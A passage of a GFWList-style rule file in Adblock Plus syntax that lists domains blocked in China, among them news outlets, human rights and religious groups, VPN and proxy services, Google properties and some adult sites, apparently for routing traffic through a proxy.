||chinacomments.org\\nchinachange.org\\nchinachannel.hk\\n||chinachannel.hk\\n.chinadigitaltimes.net\\n||chinadigitaltimes.net\\n.chinaelections.org\\n||chinaelections.org\\n.chinaeweekly.com\\n||chinaeweekly.com\\n||chinafreepress.org\\n.chinagate.com\\nchinageeks.org\\nchinagfw.org\\n||chinagfw.org\\n.chinagreenparty.org\\n||chinagreenparty.org\\n.chinahorizon.org\\n||chinahorizon.org\\n.chinahush.com\\nchinalaborwatch.org\\nchinalawtranslate.com\\nchinaxchina.com/howto\\n.chinainperspective.com\\nchinainperspective.net/ArtShow.aspx?\\n||chinainperspective.net\\n.chinainperspective.org\\n||chinainperspective.org\\n||chinainterimgov.org\\nchinalawandpolicy.com\\n.chinamule.com\\n||chinamule.com\\nchinamz.org\\n.chinarightsia.org\\nchinasocialdemocraticparty.com\\n||chinasocialdemocraticparty.com\\nchinasoul.org\\n||chinasoul.org\\n.chinasucks.net\\nchinatimes.com\\n||chinatopsex.com\\nchinatweeps.com\\nchinaway.org\\n.chinaworker.info\\n||chinaworker.info\\nchinayouth.org.hk\\nchinayuanmin.org\\n||chinayuanmin.org\\n.chinese-hermit.net\\nchinese-memorial.org\\n||chinesedailynews.com\\n.chinesen.de\\n||chinesen.de\\n.chinesepen.org\\n.chinesetalks.net/ch\\n.chingcheong.com\\n||chingcheong.com\\nchithu.org\\nchn.chosun.com\\n.chrdnet.com\\n|http://chrdnet.com\\nchristianstudy.com\\n||christianstudy.com\\nchristusrex.org/www1/sdc\\n||chrlcg-hk.org\\n||chrome.com\\n||chromeadblock.com\\n||chromium.org\\nchubun.com\\nchuizi.net\\n||christiantimes.org.hk\\n.chrlawyers.hk\\n!--||allaboutalpha.com\\n||circlethebayfortibet.org\\n||citizenscommission.hk\\n.citizenlab.org\\ncitizensradio.org\\n.city365.ca\\n|http://city365.ca\\ncity9x.com\\n.civicparty.hk\\n||civicparty.hk\\ncivilhrfront.org\\n||civilhrfront.org\\n.civilmedia.tw\\npsiphon.civisec.org\\n!--||cjb.net\\n.ck101.com\\n||ck101.com\\n.clarionproject.org/news/islamic-state-isis-isil-propaganda\\n||classicalguitarblog.net\\n.clb.org.hk\\nclearharmony.net\\nclearwisdom.net\\n.clipfish.de\\n||club1069.com\\ncmi.org.tw\\n|http://www.cmoinc.org\\n||cmule.com\\n||cmule.org\\n||cms.gov\\n||cna.com.tw\\n.cnavista.com.tw/shop/stores_app\\n.cnd.org\\n||cnd.org/\\nwiki.cnitter.com\\n.cnn.com/video\\nnews.cnyes.com\\n||cochina.co\\n||cochina.org\\n.code1984.com/64\\n|http://goagent.codeplex.com\\n||codeshare.io\\n||codeskulptor.org\\n|http://tosh.comedycentral.com\\ncomefromchina.com\\n||comefromchina.com\\n||commentshk.com\\n||compileheart.com\\n||conoyo.com\\n.contactmagazine.net\\n.convio.net\\n.coobay.com\\n|http://www.cool18.com/bbs*/\\n.coolaler.com\\n||coolaler.com\\ncoolder.com\\n||coolder.com\\n||coolloud.org.tw\\ncorumcollege.com\\n||couchdbwiki.com\\n||cotweet.com\\ncpj.org\\n||cpj.org/\\ncrackle.com\\n||crackle.com\\n||crchina.org\\ncrd-net.org\\ncreaders.net\\n||creaders.net\\n.crossthewall.net\\n||crossthewall.net\\ncsdparty.com\\n||csdparty.com\\n||csuchen.de\\n.ctfriend.net\\n.ctitv.com.tw\\ncts.com.tw\\n|http://library.usc.cuhk.edu.hk/\\n|http://mjlsh.usc.cuhk.edu.hk/\\n.cuhkacs.org/~benng\\n.cuihua.org\\n||cuihua.org\\n.cuiweiping.net\\n||cuiweiping.net\\n||curvefish.com\\n.culture.tw\\n||culture.tw\\n.cw.com.tw\\n|http://forum.cyberctm.com\\n||cyberghostvpn.com\\n||cynscribe.com\\ncytode.us\\n||ifan.cz.cc\\n||mike.cz.cc\\n||nic.cz.cc\\n\\n!--------------------DD--------------------\\ncl.d0z.net\\n.dabr.co.uk\\n||dabr.co.uk\\ndabr.mobi\\n||dabr.mobi\\n||dabr.me\\ndadazim.com\\n||dadazim.com\\n.dadi360.com\\ndafagood.com\\ndafahao.com\\n||dalailama.ru\\n.dalailamavisit.org.nz\\n.dailidaili.com\\n||dailidaili.com\\n.dailymotion.com\\n.dajiyuan.com\\n.dajiyuan.eu\\ndalailama.com\\n.dalailamaprotesters.info\\n.dalailamaworld.com\\n||dalailamaworld.com\\ndalianmeng.org\\n||dalianmeng.org\\n.daliulian.org\\n||daliulian.org\\n.danke4china.net\\n||danke4china.net\\n.danwei.org\\ndaolan.net\\n.david-kilgour.com\\n|http://david-kilgour.com\\ndaxa.cn\\n||daxa.cn/\\ncn.dayabook.com\\n.daylife.com/topic/dalai_lama\\n||dcard.tw\\n.ddc.com.tw\\n||de-sci.org\\n.de-sci.org\\nlists.debian.org\\npackages.debian.org/zh-cn/lenny/gpass\\n||delcamp.net\\ndelicious.com/GFWbookmark\\n.democrats.org\\n||democrats.org\\n||desc.se/\\n.destroy-china.jp\\n||deutsche-welle.de\\n!--||deviantart.com\\n!--||deviantart.net\\n||devio.us\\n||devpn.com\\n|http://www.dfanning.com\\n||dfas.mil\\n.dharamsalanet.com\\n.diaoyuislands.org\\n||diaoyuislands.org\\nstatic.digg.com\\n|http://digiland.tw/\\n||digitalnomadsproject.org\\n.diigo.com\\n||diigo.com\\n||furl.net\\n.dipity.com\\n||directcreative.com\\n||discogs.com\\n@@||cdn.discogs.com\\n\\n.discuss.com.hk\\n||discuss.com.hk\\ndisp.cc\\n.dit-inc.us\\n||dit-inc.us\\n.dizhidizhi.com\\n||dizhuzhishang.com\\ndjangosnippets.org\\n||dl-laby.jp\\n||dlsite.com\\n||dmcdn.net\\n||dnscrypt.org\\n||dns2go.com\\n||dnssec.net\\n.dogfartnetwork.com/tour\\n.dojin.com\\n.dok-forum.net\\n||dolc.de\\n||dolf.org.hk\\n||dollf.com\\n.domain.club.tw\\ndongtaiwang.com\\n||dongtaiwang.com\\n.dongtaiwang.net\\n||dongtaiwang.net\\n.dongyangjing.com\\n.dontfilter.us\\n||dontmovetochina.com\\n.dotplane.com\\n||dotplane.com\\n||dotsub.com\\n||dougscripts.com\\ndowei.org\\n||doxygen.org\\ndphk.org\\ndpp.org.tw\\n||dpp.org.tw\\n||dreammask.org\\n.drepung.org\\n||drgan.net\\n||dropbox.com\\n||dropboxusercontent.com\\ndrsunacademy.com\\n.drtuber.com\\n.dscn.info\\n||dtiblog.com\\n||dtic.mil\\ndtiserv2.com\\n||duckduckgo.com\\n.duckload.com/download\\n||duckmylife.com\\n.duihua.org\\n||duihua.org\\n||duihuahrjournal.org\\n.duoweitimes.com\\n||duoweitimes.com\\nduping.net\\n||duplicati.com\\ndupola.com\\ndupola.net\\n||dvorak.org\\n.dw.com\\n|http://www.dw.com\\n||dw.de\\n.dw-world.com\\n||dw-world.com\\n.dw-world.de\\nhttp://dw-world.de\\nwww.dwheeler.com\\ndwnews.com\\n||dwnews.com\\ndwnews.net\\n||dwnews.net\\nxys.dxiong.com\\n||dynawebinc.com\\n.dyndns.org\\n.dzze.com\\n\\n!--------------------EE--------------------\\n||e-classical.com.tw\\n||e-gold.com\\n.e-gold.com\\n||g.e-hentai.org\\n||lofi.e-hentai.org\\ne-info.org.tw\\n.e-traderland.net/board\\n.e123.hk\\n||earthcam.com\\neastern-ark.com\\n.eastturkestan.com\\n|http://www.eastturkistan.net/\\n.eastturkistan-gov.org\\n.eastturkistangovernmentinexile.us\\n||eastturkistangovernmentinexile.us\\nebookbrowse.com\\nebookee.com\\necministry.net\\nbbs.ecstart.com\\n||edgecastcdn.net\\n/twimg\\\\.edgesuite\\\\.net\\\\/\\\\/?appledaily/\\nedicypages.com\\nedoors.com\\n.edubridge.com\\n||edubridge.com\\n||eevpn.com\\nefcc.org.hk\\n||efmoe.com\\n||eic-av.com\\nelectionsmeter.com\\n||elgoog.im\\n||elpais.com\\n.eltondisney.com\\n||emacsblog.org\\n.emory.edu\\n.emule-ed2k.com\\n|http://emule-ed2k.com\\n.emuparadise.me\\n||enewstree.com\\nchinese.engadget.com\\n||englishfromengland.co.uk\\n||entermap.com\\n.episcopalchurch.org\\nepochtimes-bg.com\\n||epochtimes-bg.com\\nepochtimes-romania.com\\n||epochtimes-romania.com\\nepochtimes.co.il\\n||epochtimes.co.il\\nepochtimes.co.kr\\n||epochtimes.co.kr\\nepochtimes.com\\n||epochtimes.com\\nepochtimes.de\\nepochtimes.fr\\n.epochtimes.ie\\nepochtimes.jp\\nepochtimes.ru\\nepochtimes.se\\nepochtimestr.com\\n||epochweekly.com\\nerabaru.net\\n.erepublik.com\\n|http://erktv.com/\\n||ernestmandel.org\\n||erights.net\\n.etaa.org.au\\netaiwannews.com\\n||etizer.org\\n.ettoday.net\\netvonline.hk\\n.eu.org\\n||eu.org\\n.eulam.com\\neventful.com\\n||exblog.jp\\n||blog.exblog.co.jp\\n@@||www.exblog.jp\\n.exchristian.hk\\n||exchristian.hk\\n|http://blog.excite.co.jp/\\n||expatshield.com\\n||exploader.net\\n.expressvpn.com\\n.extremetube.com\\neyevio.jp\\n||eyevio.jp\\n.eyny.com\\n.ezpc.tk/category/soft\\n.ezpeer.com\\n\\n!--------------------FF--------------------\\n.facebook.com\\n||facebook.com\\n/^https?:\\\\/\\\\/[^\\\\/]+facebook\\\\.com/\\n@@||*v6.facebook.com\\n||connect.facebook.net\\n||facebookquotes4u.com\\n|http://facesoftibetanselfimmolators.info\\n||facesofnyfw.com\\n\\n!--Enhancement:\\n!--http://faithfuleye.com.detail.website/\\n!--http://faithfuleye.com.ipaddress.com/\\n.faithfuleye.com\\n\\n||faiththedog.info\\n.fakku.net\\nfalun-co.org\\nfalunart.org\\n||falunasia.info\\nfalundafa.org\\nfalundafa-dc.org\\n||falundafa-florida.org\\n||falundafa-nc.org\\nfalun-ny.net\\nfalundafamuseum.org\\nfalungong.org.uk\\n||falunhr.org\\nfaluninfo.net\\n.falunpilipinas.net\\n||falunworld.net\\nfamilyfed.org\\n||fanglizhi.info\\n||fangong.org\\nfangongheike.com\\nfanqianghou.com\\nfapdu.com\\n!--.farxian.com\\n.fawanghuihui.org\\n||fbcdn.net\\nfanqiangyakexi.net\\nfail.hk\\n||famunion.com\\n.fan-qiang.com\\n.fangbinxing.com\\n||fangbinxing.com\\nfangeming.com\\n||fanswong.com\\n.fanyue.info\\n.farwestchina.com\\n!--||fastly.net\\nen.favotter.net\\n||faststone.org\\nfavstar.fm\\n||favstar.fm\\nfaydao.com/weblog\\n||fb.com\\nfb.me\\n||fb.me\\n||fbsbx.com\\nfc2.com\\n.fc2china.com\\nfc2blog.net\\n|http://uygur.fc2web.com/\\nvideo.fdbox.com\\n.fdc89.jp\\n||fourface.nodesnoop.com\\n!--feedbooks.mobi\\n||feedburner.com\\n||feedzshare.com\\n||feelssh.com\\nfeer.com\\n|http://feitianacademy.org\\n.feitian-california.org\\n||feministteacher.com\\n.fengzhenghu.com\\n||fengzhenghu.com\\n|http://ff.im\\nfflick.com\\nfgmtv.net\\n.fgmtv.org\\n|http://feeds.fileforum.com\\n.files2me.com\\n|http://files2me.com\\n.fileserve.com/file\\nfillthesquare.org\\n||finalion.jp\\nfindbook.tw\\n.fingerdaily.com\\nfinler.net\\n.fireofliberty.org\\n||fireofliberty.org\\n!--||flagfox.net\\n.falsefire.com\\n||falsefire.com\\nfleshbot.com\\n\\n!--||farm6.staticflickr.com\\n!--.flickr.com/photos/46231077@N06\\n!--.flickr.com/groups/aiweiwei\\n!--.flickr.com/photos/digitalboy100\\n!--.flickr.com/photos/fzhenghu\\n!--.flickr.com/photos/lonelyfox\\n!--flickr.com/photos/vanvan/529925157\\n!--.flickr.com/photos/winterkanal\\n!--.flickr.com/photos/zola\\n||flickr.com\\n||staticflickr.com\\n\\nflickrhivemind.net\\nyuming.flnet.org\\n|http://cn.fmnnow.com\\nfofldfradio.org\\nblog.foolsmountain.com\\nwww.forum4hk.com\\npioneer-worker.forums-free.com\\n!--foursquare.com\\n|http://4sq.com\\n||fotop.net\\nvideo.foxbusiness.com\\n|http://foxgay.com\\n||fringenetwork.com\\n||flecheinthepeche.fr\\n||focustaiwan.tw\\n.focusvpn.com\\n||fofg.org\\n.fooooo.com\\n||fooooo.com\\nfootwiball.com\\n||fourthinternational.org\\n||foxdie.us\\n||foxsub.com\\nfoxtang.com\\n.fpmt.org\\n|http://fpmt.org\\n.fpmt.tw\\n.fpmt-osel.org\\n||fpmtmexico.org\\nfqok.org\\n||fqrouter.com\\n||franklc.com\\n.freakshare.com\\n|http://freakshare.com\\n||free4u.com.ar\\nfree-gate.org\\n.free.fr/adsl\\n||allonlinux.free.fr\\n||dimitrik.free.fr\\nkineox.free.fr\\n||puttycm.free.fr\\n||freealim.com\\nwhitebear.freebearblog.org\\n.freechal.com\\n.freedomhouse.org\\n||freedomhouse.org\\n.freegao.com\\n||freegao.com\\n.free-hada-now.org\\n.freelotto.com\\n||freelotto.com\\nfreeman2.com\\n.freeopenvpn.com\\nfreemoren.com\\nfreemorenews.com\\nfreenet-china.org\\nfreenewscn.com\\n.freeoz.org/bbs\\n||freeoz.org\\n||www.bulbous.freeserve.co.uk\\n||freessh.us\\nfree4u.com.ar\\n.free-ssh.com\\n||free-ssh.com\\n.freedomcollection.org/interviews/rebiya_kadeer\\n.freeforums.org\\n||freenetproject.org\\n.freeoz.org\\n.freetibet.net\\n||freetibet.org\\n|http://freetibetanheroes.org\\n||freewallpaper4.me\\n.freewebs.com\\n||freeweibo.com\\n.freexinwen.com\\n.freeyoutubeproxy.net\\n||freeyoutubeproxy.net\\nfriendfeed.com\\nfriendfeed-media.com/e99a4ebe2fb4c1985c2a58775eb4422961aa5a2e\\nfriends-of-tibet.org\\n.friendsoftibet.org\\nfreechina.net\\n|http://www.zensur.freerk.com/\\nfreevpn.nl\\n|http://adult.friendfinder.com/\\n.fring.com\\n||fring.com\\n||frommel.net\\n.frontlinedefenders.org\\n||fscked.org\\n.fsurf.com\\n.ftchinese.com/story/001054103\\n.ftchinese.com/*video\\n.ftchinese.com/comments\\n.fuckcnnic.net\\n||fuckcnnic.net\\nfuckgfw.org\\nfulue.com\\n.funf.tw\\nfunp.com\\n.furhhdl.org\\n||furinkan.com\\n.futurechinaforum.org\\n||futuremessage.org\\n.fuyin.net\\n||fw.cm\\nfzh999.com\\nfzh999.net\\n\\n!--------------------GG--------------------\\n||gabocorp.com\\n.gaeproxy.com\\n.gaforum.org\\n||galenwu.com\\n||game735.com\\ngamebase.com.tw\\n|http://wiki.gamerp.jp\\n||gamer.com.tw\\n.gamer.com.tw\\n.gamez.com.tw\\n||gamez.com.tw\\n.gaoming.net\\n||gaoming.net\\nganges.com\\n.gaopi.net\\n|http://gaopi.net\\n.gaozhisheng.org\\n.gaozhisheng.net\\ngardennetworks.com\\n||gardennetworks.org\\n!--IP of Garden Network\\n72.52.81.22\\n||gartlive.com\\n||gather.com\\n||gaymap.cc\\n.gaytube.com\\n.gazotube.com\\n||gazotube.com\\n||gcc.org.hk\\n||gclooney.com\\n.gcpnews.com\\n.gdbt.net/forum\\ngdzf.org\\n||geek-art.net\\ngeekerhome.com/2010/03/xixiang-project-cross-gfw\\n||geekmanuals.com\\n!--||genuitec.com\\n.geocities.co.jp\\n.geocities.com/SiliconValley/Circuit/5683/download.html\\nhk.geocities.com\\ngeocities.jp\\n||geohot.com\\n||geometrictools.com\\n||get-digital-help.com\\n.getchu.com\\n||getfoxyproxy.org\\n.getfreedur.com\\n||getgom.com\\n.getlantern.org\\n||getlantern.org\\n.getjetso.com/forum\\ngetiton.com\\n.getsocialscope.com\\ngfw.org.ua\\n.ggssl.com\\n||ggssl.com\\n||ghost.org\\n||ghut.org\\n||giga-web.jp\\n|http://tw.gigacircle.com\\n|http://cn.giganews.com/\\ngigporno.ru\\n||gimpshop.com\\n||girlbanker.com\\n|http://softwaredownload.gitbooks.io/\\n|https://gist.github.com\\n|http://cthlo.github.io/hktv\\n|http://wsgzao.github.io/post/gfw-break\\n||glennhilton.com\\nglobaljihad.net\\nglobalmuseumoncommunism.org\\n||globalrescue.net\\n.globalvoicesonline.org\\n||globalvoicesonline.org\\ngmbd.cn\\n||gmhz.org\\n|http://www.gmiddle.com/\\n|http://www.gmiddle.net/\\n.gmll.org\\n||gnci.org.hk\\n||goagent.biz\\n||goagentplus.com\\ngodfootsteps.org\\n||godfootsteps.org\\ngodsdirectcontact.org.tw\\n.gokbayrak.com\\n||goldbetsports.com\\n|http://www.goldenmelody.com.tw\\n||goldwave.com\\ngongmeng.info\\ngongm.in\\ngongminliliang.com\\n.gongwt.com\\n|http://gongwt.com/\\n.goodreads.com\\n||goodreads.com\\n.goodreaders.com\\n||goodreaders.com\\n.goodtv.com.tw\\n.goodtv.tv\\n||goofind.com\\n.googlesile.com\\n.gopetition.com\\n||gopetition.com\\n||gotw.ca/\\ngrandtrial.org\\n||graphis.ne.jp\\n||s.gravatar.com\\ngreatfirewall.biz\\n||greatfirewallofchina.net\\n.greatfirewallofchina.org\\n||greatfirewallofchina.org\\n.greenparty.org.tw\\n||greenpeace.org\\ngreat-firewall.com\\ngreat-roc.org\\ngreatroc.org\\ngreatzhonghua.org\\n.greenpeace.com.tw\\n.greenvpn.net\\n||greenvpn.net\\ngs-discuss.com\\n||gtricks.com\\nguancha.org\\n.gun-world.net\\n||gutteruncensored.com\\n||gvm.com.tw\\n.gzm.tv\\n||gzone-anime.info\\n\\n!----------------Google----------------\\n||abc.xyz\\n||agoogleaday.com\\n||androidify.com\\n||chromeexperiments.com\\n||chromercise.com\\n||data-vocabulary.org\\n||g.co\\n||ggpht.com\\n||gmail.com\\n||gmodules.com\\n||goo.gl\\n/^https?:\\\\/\\\\/[^\\\\/]+google\\\\.(.*)/\\n!--||google-analytics.com\\n!--||googleadservices.com\\n||googleapis.com\\n||googleartproject.com\\n||googlecode.com\\n||googlecommerce.com\\n||googledomains.com\\n||googleearth.com\\n||googledrive.com\\n||googlegroups.com\\n||googlehosted.com\\n||googlelabs.com\\n||googlemail.com\\n||googleplus.com\\n||googlesource.com\\n!--||googlesyndication.com\\n!--||googletagmanager.com\\n!--||googletagservices.com\\n||googleusercontent.com\\n||googlevideo.com\\n||googlezip.net\\n||groups.google.cn\\n||gvt0.com\\n||gvt1.com\\n||html5rocks.com\\n||nic.google\\n||panoramio.com\\n||polymer-project.org\\n||recaptcha.net\\n||registry.google\\n|http://sipml5.org/\\n!--||www.google\\n!--Youtube CDN\\n||ytimg.com\\n\\n!------------Google App Engine/Appspot-------\\n.appspot.com\\n||appspot.com\\n/^https?:\\\\/\\\\/[^\\\\/]+appspot\\\\.com/\\n\\n!-------------Google ghs-----\\n!-||1024cores.net\\n!-||www.20thingsilearned.com\\n!-||www.3dtin.com\\n!-A\\n!-||abelhadigital.com\\n!-||blog.aegisub.org\\n!-||android-x86.org\\n!-||chrome.angrybirds.com\\n!-||appbrain.com\\n!-||my.architexa.com\\n!-||feeds.arstechnica.com\\n!-||blog.athico.com\\n!-||aurorasoftworks.com\\n!-B\\n!-||www.benjamingolub.com\\n!-||rss.berryreview.com\\n!-||docs.blacktree.com\\n!-||secrets.blacktree.com\\n!-||www.blacktree.com\\n!-||feeds.boingboing.net\\n!-||moblog.bradleyit.com\\n!-||www.buddyrunner.com\\n!-||buzzcantweet.com\\n!-C\\n!-||feeds.cbsnews.com\\nchinaaid.net\\n!-||www.chinesealbumart.com\\n!-||chromeexperiments.com\\n!-||www.clementine-player.org\\n!-||data.clementine-player.org\\n!-||clemesha.org\\n!-||www.cloudgirlfriend.com\\n!-||rss.cnn.com\\n!-||cocoawithlove.com\\n!-||blog.controlspace.org\\n!-D\\n!-||www.dailygyan.com\\n!-||dailytodo.org\\n!-||blog.danmarner.com\\n!-||github.danmarner.com\\n!-||design-seeds.com\\n!-||designers-artists.com\\n!-||feeds.digg.com\\n!-||app.diu.li\\n!-||mail.diyang.org\\n!-||blog.doughellmann.com\\n!-||downforeveryoneorjustme.com\\n!-||droidsecurity.com\\n!-||www.dropmocks.com\\n!-||dumblittleman.com\\n!-||feeds.dzone.com\\n!-E\\nechofon.com\\n!-||echofon.com\\n!-||epc-jav.com\\n!-||everdark.info\\n!-||s.evernote.com\\n!-||evhead.com\\n!-F\\n!-||facilelogin.com\\n!-||*.fatduck.org\\n!-||blog.fdcn.org\\n!-||fftogo.com\\n!-||flightsimtalk.com\\n!-||mclee.foolme.net\\n!-||www.frienddeck.com\\n!-||fringespoilers.com\\n!-||fringetelevision.com\\n!-||funpea.com\\n!-G\\n!-||blog.gatein.org\\n!-||feeds.gawker.com\\n!-||geektang.com\\n!-||geohot.us\\n!-||getaround.com\\n!-||gmer.net\\n!-||www.gmote.org\\n!-||blog.go2web20.net\\n!--||blog.google.org\\n!-||google-melange.com\\n||golang.org\\n!-||fame.gonzolabs.org\\n!-||govecn.org\\n!-||gqueues.com\\n!-||graphycalc.com\\n||greasespot.net\\n!-||blog.growlforwindows.com\\n!-H\\n!-||hcm.com.tw\\n!-||blog.headius.com\\n!-||hogbaysoftware.com\\n!-||blog.hotot.org\\n!-||feeds.howstuffworks.com\\n!-||huhaitai.com\\n!-||blog.humanrightsfirst.org\\n!-I\\n!-||site.icu-project.org\\n!-||igorware.com\\n!-||ihas1337code.com\\n!-||inknouveau.com\\n!-||inote.tw\\n!-||ironhelmet.com\\n!-||iwfwcf.com\\n!-J\\n!-||blog.jangmt.com\\n!-||blog.jayfields.com\\n!-||t.jiecii.com\\n!-||blog.joint.net\\n!-||blog.jsquaredjavascript.com\\n!-||blog.jtbworld.com\\n!-K\\n!-||kathyschwalbe.com\\n!-||tomatovpn.keithmoyer.com\\n!-||www.keithmoyer.com\\n!-||kendalvandyke.com\\n!-||blog.kengao.tw\\n!-||log.keso.cn\\n!-||www.khanacademy.org\\n||www.klip.me\\n!-||usbloadergx.koureio.net\\n!-||blog.kowalczyk.info\\n!-L\\n!-||labyrinth2.com\\n!-||larsgeorge.com\\n!-||blog.lastpass.com\\n!-||docs.latexlab.org\\n!-||leanessays.com\\n!-||blog.lidaobing.info\\n!-||log.lightory.net\\n!-||feeds.limi.net\\n!-||www.liteapplications.com\\n!-||blog.liukangxu.info\\n!-||twitter.liukangxu.info\\n!-||oasisnewsroom.live4ever.us\\n!-||www.lockergnome.com\\n!-||locql.com\\n@@||site.locql.com\\n!-||feeds.loiclemeur.com\\n!-||blog.louisgray.com\\n!-M\\n!-||madebysofa.com\\n!-||mademoisellerobot.com\\n!-||masamixes.com\\n!-||www.metamuse.net\\n!-||blog.metasploit.com\\n!-||milazi.com\\n!-||www.miniweather.com\\n!-||twitter.missiu.com\\n!-||plurktop-button.mmdays.com\\n!-||feeds.mobileread.com\\n!-||www.modernizr.com\\n!-||www.modk.it\\n!-||mytwishirt.com\\n!-N\\n!-||blog.netflix.com\\n!-||blog.nihilogic.dk\\n!-||ntlk.org\\n!-||nvquan.org\\n!-||nogoodatcoding.com\\n!-||blog.notdot.net\\n!-||www.notify.io\\n!-O\\n!-||blog.obvious.com\\n!-||onebigfluke.com\\n!-||overstimulate.com\\n!-P\\n!-||pcgeekblog.com\\n!-||feeds.pdfchm.net\\n!-||feeds.people.com\\n!-||blog.persistent.info\\n!-||chrome.plantsvszombies.com\\n!-||portablesoft.org.ru\\n!-||prasannatech.net\\n!-||talk.news.pts.org.tw\\n!-||python-excel.org\\n!-Q\\n!-R\\n!-||r-chart.com\\n!-||rameshsubramanian.org\\n!-||rapid.pk\\n!-||blog.reddit.com\\n!-||blog.renanse.com\\n!-||robertmao.com\\n!-||www.romeo-foxtrot.com\\n!-S\\n!-||salmiyuck.com\\n!-||samsal.com\\n!-||blog.seeminglee.com\\n!-||blog.sflow.com\\n!-||blog.sigfpe.com\\n!-||simpletext.ws\\n!-||www.skulpt.org\\n!-||rss.slashdot.org\\n!-||snippetsapp.com\\n!-||w.sns.ly\\n!-||www.socialnmobile.com\\n!-||www.socialwhois.com\\n!-||spiritjb.org\\n!-||ssbook.com\\n!-||sshforwarding.com\\n!-||stationeria.com\\n!-||sunjidong.net\\n!-||syniumsoftware.com\\n@@||download.syniumsoftware.com\\n!-T\\n!-||tagxedo.com\\n!-||blog.tatoeba.org\\n!-||www.techfob.com\\n!-||teachparentstech.org\\n!-||the8pen.com\\n!-||theiphonewiki.com\\n!-||blog.thesilentnumber.me\\n!-||thesponty.com\\n!-||theultralinx.com\\n!-||blog.think-async.com\\n!-||tornadoweb.org\\n!-||transparentuptime.com\\n!-||triangulationblog.com\\n!-||blog.tsunanet.net\\n!-||en.tuxero.com\\n!-||twazzup.com\\n!-||tweetswell.com\\n!-||twibes.com\\n!-||art.twgg.org\\n!-||twivert.com\\n!-U\\n|http://ub0.cc\\n!-||jonny.ubuntu-tw.net\\n!-||blog.umonkey.net\\n!-V\\n!-||tp.vbap.com.au\\n!-||www.virtuousrom.com\\n!-||blog.visibotech.com\\n!-W\\n!-||waveprotocol.org\\n!-||www.wavesandbox.com\\n!-||webfee.org.ru\\n!-||blog.webmproject.org\\n!-||webupd8.org\\n!-||www.whatbrowser.org\\n!-||www.wheredoyougo.net\\n!-||willhains.com\\n!-||feeds.wired.com\\n!-||wisemapping.org\\nwozy.in\\n!-||wozy.in/\\n!-||blog.wundercounter.com\\n!-X\\n!-||xdelta.org\\n!-||xiaogaozi.org\\n!-||xilou.us\\n!-||xzy.org.ru\\n!-Y\\n!-||yooper.be\\n!-||tsong.yunxi.net\\n!-Z\\n\\n!-------------Google Minganci-----\\n!--@@||ipv6.google.com\\n\\ngospelherald.com\\n||gospelherald.com\\n|http://hk.gradconnection.com/\\n||grangorz.org\\n||graylog2.org\\ngreatfire.org\\n||greatfire.org\\ngreatfirewallofchina.org\\n||greatroc.tw\\n||gstatic.com\\n.gu-chu-sum.org\\n|http://gu-chu-sum.org\\nguishan.org\\n||guishan.org\\n||gunsamerica.com\\n|http://gvlib.com\\n.gyalwarinpoche.com\\n.gyatsostudio.com\\n\\n!--------------------HH--------------------\\n||h-china.org\\nh1n1china.org\\n.hacken.cc/bbs\\n||hackthatphone.net\\nhahlo.com\\n||hakkatv.org.tw\\n|http://bbs.hanminzu.org/\\n.hanunyi.com\\n|http://ae.hao123.com\\n|http://ar.hao123.com\\n|http://br.hao123.com\\n|http://en.hao123.com\\n|http://id.hao123.com\\n|http://jp.hao123.com\\n|http://ma.hao123.com\\n|http://sa.hao123.com\\n|http://th.hao123.com\\n|http://tw.hao123.com\\n|http://vn.hao123.com\\n||hardsextube.com\\n.harunyahya.com\\n||hasaowall.com\\nhave8.com\\n@@||haygo.com\\n||hdtvb.net\\n||heartyit.com\\n.hecaitou.net\\n||hecaitou.net\\n.hechaji.com\\n||hechaji.com\\n||heeact.edu.tw\\n||helplinfen.com\\n||helloandroid.com\\n||helloqueer.com\\nhellotxt.com\\n||hellotxt.com\\n||htxt.it/\\n.hellouk.org/forum/lofiversion\\n.helpeachpeople.com\\n||helpeachpeople.com\\n.helpzhuling.org\\n\\n!###########--Heroku--##########\\n||date.fm\\n||flightcaster.com\\n||branch.com\\n||awardwinningfjords.com\\n||futureme.org\\n||getcloudapp.com\\n||cl.ly\\n@@||f.cl.ly\\n||getsmartlinks.com\\n||git-scm.com\\n||lesscss.org\\n||list.ly\\n||maxgif.com\\n||overlapr.com\\n||peerpong.com\\n||pose.com\\n!--||rubyinstaller.org\\n||samsoff.es\\n||sendoid.com\\n||speckleapp.com\\n||stuffimreading.net\\n||tomayko.com\\n||twt.fm\\n||views.fm\\n\\nheqinglian.net\\nhere4news.com\\n||heungkongdiscuss.com\\n!--Google employee within Google IP\\n||hexxeh.net\\napp.heywire.com\\n.hgseav.com\\nhidden-advent.org\\n||hidden-advent.org\\nhidecloud.com/blog/2008/07/29/fuck-beijing-olympics.html\\n||hide.me\\n.hidemyass.com\\n||hidemyass.com\\n||hideipvpn.com\\n.hihiforum.com\\n|http://hihiforum.com\\n||hihistory.net\\n.higfw.com\\n||highrockmedia.com\\n||hiitch.com\\n||hikinggfw.org\\n.himalayan-foundation.org\\n.himemix.com\\n||himemix.com\\n.himemix.net\\ntimes.hinet.net\\n.hjclub.info\\n.hk-pub.com/forum\\n|http://hk-pub.com\\n.hk32168.com\\n||hk32168.com\\napp.hkatvnews.com/v3\\nhkbc.net\\n.hkbf.org\\n.hkchurch.org\\nhkday.net\\n.hkdailynews.com.hk/china.php\\n.hkej.com\\n.hkepc.com/forum/viewthread.php?tid=1153322\\nglobal.hkepc.com*forum\\nhkfront.org\\nhkgolden.com\\n.hkgreenradio.org/home\\n.hkheadline.com*blog\\n.hkheadline.com/instantnews\\nhkhkhk.com\\nhkjc.com\\n.hkjp.org\\nhkptu.org\\n.hkreporter.com\\n||hkreporter.com\\n|http://hkupop.hku.hk/\\n.hkwcc.org.hk\\n||hkzone.org\\nhnjhj.com\\n||hnjhj.com\\n||hola.com\\n||hola.org\\nholyspiritspeaks.org\\n||holyspiritspeaks.org\\n||derekhsu.homeip.net\\n|http://homeservershow.com\\n|http://old.honeynet.org/scans/scan31/sub/doug_eric/spam_translation.html\\nhongmeimei.com\\n||hongzhi.li\\nhootsuite.com\\n||hootsuite.com\\n|http://globalrescue.hopto.org/\\nhotpot.hk\\n.hotshame.com\\n||hotspotshield.com\\n||hougaige.com\\n||howtoforge.com\\n.hqcdp.org\\n||hqcdp.org\\n.hrcir.com\\n.hrcchina.org\\n.hrichina.org\\n||hrichina.org\\n.hrw.org\\n||hrw.org\\n||hsjp.net\\n||hsselite.com\\n.htkou.net\\n||htmldog.com\\nhuaglad.com\\n.huanghuagang.org\\n||huanghuagang.org\\n.huaren.us\\n||huaren.us\\nhuaxia-news.com\\nhuaxiabao.org\\nhuaxin.ph\\nhua-yue.net\\n||hugoroy.eu\\n||huhaitai.